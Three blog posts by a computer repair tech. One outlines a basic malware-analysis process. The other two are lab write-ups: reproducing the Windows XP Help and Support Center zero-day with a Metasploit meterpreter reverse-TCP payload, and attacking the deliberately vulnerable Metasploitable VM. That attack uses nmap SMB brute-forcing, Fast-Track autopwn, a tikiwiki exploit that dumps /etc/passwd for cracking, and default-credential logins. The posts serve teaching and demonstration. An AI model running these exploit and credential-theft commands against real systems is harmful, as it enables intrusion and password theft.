I few months back I did a presentation on the topic of  basic malware analysis, feel free to grab a copy  of  the slides –> Malware Analysis 101, the idea was to get across a few pointers  on how to get started analyzing malware. I am by no means an expert on the subject matter, I only recently started doing some research in the area to try and understand what really happens to a system once its infected with malware. I used materials from several sources, and was also given some good pointers by Tim over at http://securitybraindump.blogspot.com/.

As a computer repair tech you normally don’t have the luxury or studying an infection since you are always on the clock and time literally  means money. However after seeing a certain trend of injection and having several repeat calls from some of my clients I decided to take a step back and instead of just cleaning the infection, this time I copied the infected sample and start to analyze it.

During my analysis I basically narrowed it down to the following phases:

• Phase one “System Baseline”
• Phase two “Simple Execution”
• Phase three “Review Changes”
• Phase four “Tweaking/Using your tools”
• Phase five “Lesson Learn”

I will do a followup post to this one since I didn’t show any of the detail results and from my demo portion in the slides. I am hoping to get some feedback from this post so I can revise my current process.

References:

After seeing all the buzz on twitter about the newly discovered Microsoft zero day, I decided to try and replicate it in my lab and just act as another source for bringing about some awareness on the issue at hand.

According to  Microsoft Security Advisory (2219475),  Microsoft is investigating new public reports of a possible vulnerability in the Windows Help and Support Center function that is delivered with supported editions of Windows XP and Windows Server 2003. This vulnerability could allow remote code execution if a user views a specially crafted Web page using a Web browser or clicks a specially crafted link in an e-mail message. Microsoft is aware that proof of concept exploit code has been published for the vulnerability. However, Microsoft is not currently aware of active attacks that use this exploit code or of customer impact at this time. Microsoft is actively monitoring this situation to keep customers informed and to provide customer guidance as necessary.

In short  you are  affected if you are running any of the following OS:

• Windows XP Service Pack 2 and Windows XP Service Pack 3
• Windows XP Professional x64 Edition Service Pack 2
• Windows Server 2003 Service Pack 2
• Windows Server 2003 x64 Edition Service Pack 2
• Windows Server 2003 with SP2 for Itanium-based Systems

The advisory was prompted by the bug’s disclosure early Thursday , and the release of proof-of-concept attack code. Tavis Ormandy, a security engineer who works for Google in Switzerland, defended the decision to reveal the flaw only five days after reporting it to Microsoft. But Microsoft and other researchers questioned the quick publication.

Now I am somewhat on the fences with this one, I can see how responsible disclosure would have been ideal in this case for Microsoft. This would have given MS some more time to get a fully tested patch out. On the flip side I think knowing in advance can give us as defender a fighting chance since the disclosure to patch cycle can be a pretty lengthy process, and the “bad guys” could have already been using this for a long time now.

While trying to test this I was running into some issues then I was pointed to the following pastebin entry from the helpful guys over at http://www.skullsecurity.org/blog/ IRC.

POC testing with Metasploit Test #1:

I  started by testing the current exploit from the Metasploit framework on my BT4 VM, while attacking my Windows 7 workstation which had MSE installed. Since the release notes stated that Windows 7 is not affected I just wanted to see what type of effect it would have. I loaded up my Backtrack VM, lauched MSF and use the following commands.

msf > use exploit/windows/browser/ms10_xxx_helpctr_xss_cmd_exec

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > SET SRVHOST 192.168.126.131

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) >SET LHOST 192.168.126.131

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) >exploit

And as expected it failed!

Fig-1 Failed against Win7

Interestingly enough Microsoft Security Essentials was able to detect this while my Comodo Internet security suite did not.Fig-2 MSE detected Exploit attempt

I was then able to browse my temporary internet folder and detected the html page with the malicious Iframe.

Fig-3 Malicious Iframe

POC testing with Metasploit Test #2:

I then went on to try this on a newly build Windows XP SP3 and it kept failing, now after running the 74 or so Windows updates I attempted to try it again and I was sucessful. So it is always important to run updates .

I started this second test by loading up my BackTrack VM and repeating the same steps as above, then once this is setup I then went over to my Windows XP test machine and connected to http://backtrackmachine, so and just sit back and watch Metasploit with the Meterpreter payload do its thing.

msf > use exploit/windows/browser/ms10_xxx_helpctr_xss_cmd_exec

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > SET SRVHOST 192.168.126.131

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) >SET LHOST 192.168.126.131

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) >exploit

Fig-4 XP Successfully Exploited

Fig-5 Game over

As you can see form Fig-5  above the payload was deployed successfully and I was able to run a simple ipconfig command to verify that I was on the victim system with IP address 192.168.126.134.  I also went back over to the XP machine and ran netstat -an to verify that I was connected to the BackTrack VM via the listening port 4444.

Fig-6 WinXP Netstat -an

Now I noticed a few things on the victim test XP machine, once I connected to the malicous URL, (which with all the socail media outlets its just too easy to get an average user to click on a link ):

• I saw a command prompt pop-up and disappeared after 1-2 seconds
• I notice my Windows media player launched itself
• Lastly the “Help and Support Center” page was launched

Now for the average user some of these things might not always send up a red flag. However for anyone remotely security conscious if you ever notice a few of these random acts of weirdness its time to get out that clean backup image and start the nuke and pave process.

References

http://www.computerworld.com/s/article/9177966/Microsoft_confirms_critical_Windows_XP_bug

http://www.microsoft.com/technet/security/advisory/2219475.mspx

http://seclists.org/fulldisclosure/2010/Jun/205

http://www.offensive-security.com/metasploit-unleashed/metasploit-unleashed-free-information-security-training

Back in late May I was preparing for a presentation and while trying to figure out if I should do a live demo or show screen-shots, I noticed a tweet from HDMoore announcing the release of “Metasploitable”.

According to the Metasploit blog, Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql. Now you might ask yourself why is this important, who wants a system that is easily hackable? The answer is simple, if you are doing exploit development/pentesting or just want to practice your KungFU and need a platform to test on then Metasploitable is the answer.

In my case I needed to do a demo and instead of configuring a vulnerable system I simply downloaded the torrent, loaded it up into my VMware player and I was set to go. At first I was having a hard time finding people to seed the torrent, however after I visited the Pauldotcom IRC room and spoked with Mubix, a few minutes later I had about 20 people seeding.

You should read the entire blog posting to really get a feel for some of the things you can do with Metasploitable. Keeping with the theme from my last blog post “So easy, even A Script Kiddie can do it” I will attempt to attack this VM using simple but effective methods.

Step One “Nmap Scan”:

The first scan I ran was Nmap -A: Which Enables OS detection and Version detection, Script scanning and Traceroute. Once I got an idea what I was dealing with I then proceeded to run Nmap 192.168.126.128 –script=smb-brute.nse. The purpose of this script try to brute force the host and reports but any successful credentials. In this case those credentials were msfadmin/msfadmin and user/user.

Fig-1 Nmap –script=smb-brute.nse

Step two “Fast-Track Metasploit Autopwnage”:

Quoted from the Fast-Track  program page, Metasploit Autopwn is a feature within Metasploit that is rich with different options. Autopwn allows you to NMAP scan a host, and automatically run exploits against the open ports on the system. So to break it down in simplistic terms, a port scan is ran against multiple host or one target, once those ports have been identified, metasploit will pull what exploits it have for those open ports, it may be 0 it may be 30. Those exploits are then launched against the system you scanned. It’s really a brute force exploits, it doesn’t know what version is being run on the system it just blindly launches a ton of exploits at the system.

After running the exploit brute force against the metasploitable VM  I was able to successfully exploit the system and got a session, however I was not able to interact with this session. That being said I was 50% there, I now have a working exploit I can manually use with Metasploit and chose a payload of my liking to gain shell access.

Fig-2 Fast-Track menu, “choose option 2″

Fig-3 Fast-Track “successfully found an exploit”

Step three “Using Metasploit”:

At this stage we already have a working exploit that Fast-Track discovered above so its time to use that exploit and a payload of our choosing. I am using Back Track 4 final release since the idea is to use the simplest tools possible instead of installing and configuring anything, also my metsploitable IP address in this example is 192.168.126.128.

cd /pentest/exploit/framework3

msfconsole

msf > svn update

msf > use exploit/unix/webapp/tikiwiki_graph_formula_exec

msf exploit (tikiwiki_graph_formula_exec) > set RHOST 192.168.126.128

msf exploit (tikiwiki_graph_formula_exec) > set RPORT 80

msf exploit (tikiwiki_graph_formula_exec) > set PAYLOAD  cmd/unix/generic

msf exploit (tikiwiki_graph_formula_exec) > set CMD ‘cat /etc/passwd’

msf exploit (tikiwiki_graph_formula_exec) > exploit

The end results will be a screen display of the password file which you can run through your favorite password cracker and have fun with the results.

Fig-4 Cat “etc/passwd”

Lastly you can also connect to the host via http://hostname/tikiwiki/tiki-index.php and login with admin/admin which in most cases are usually among my list of default passwords to try. So in short these are just a few simple techniques you can try during your demo to bring some real world examples instead of just giving a  slides show to your audience.

References:

http://blog.metasploit.com/2010/05/introducing-metasploitable.html

http://www.offensive-security.com/metasploit-unleashed/Fast-Track-Modes

http://blog.metasploit.com/2010/05/introducing-metasploitable.html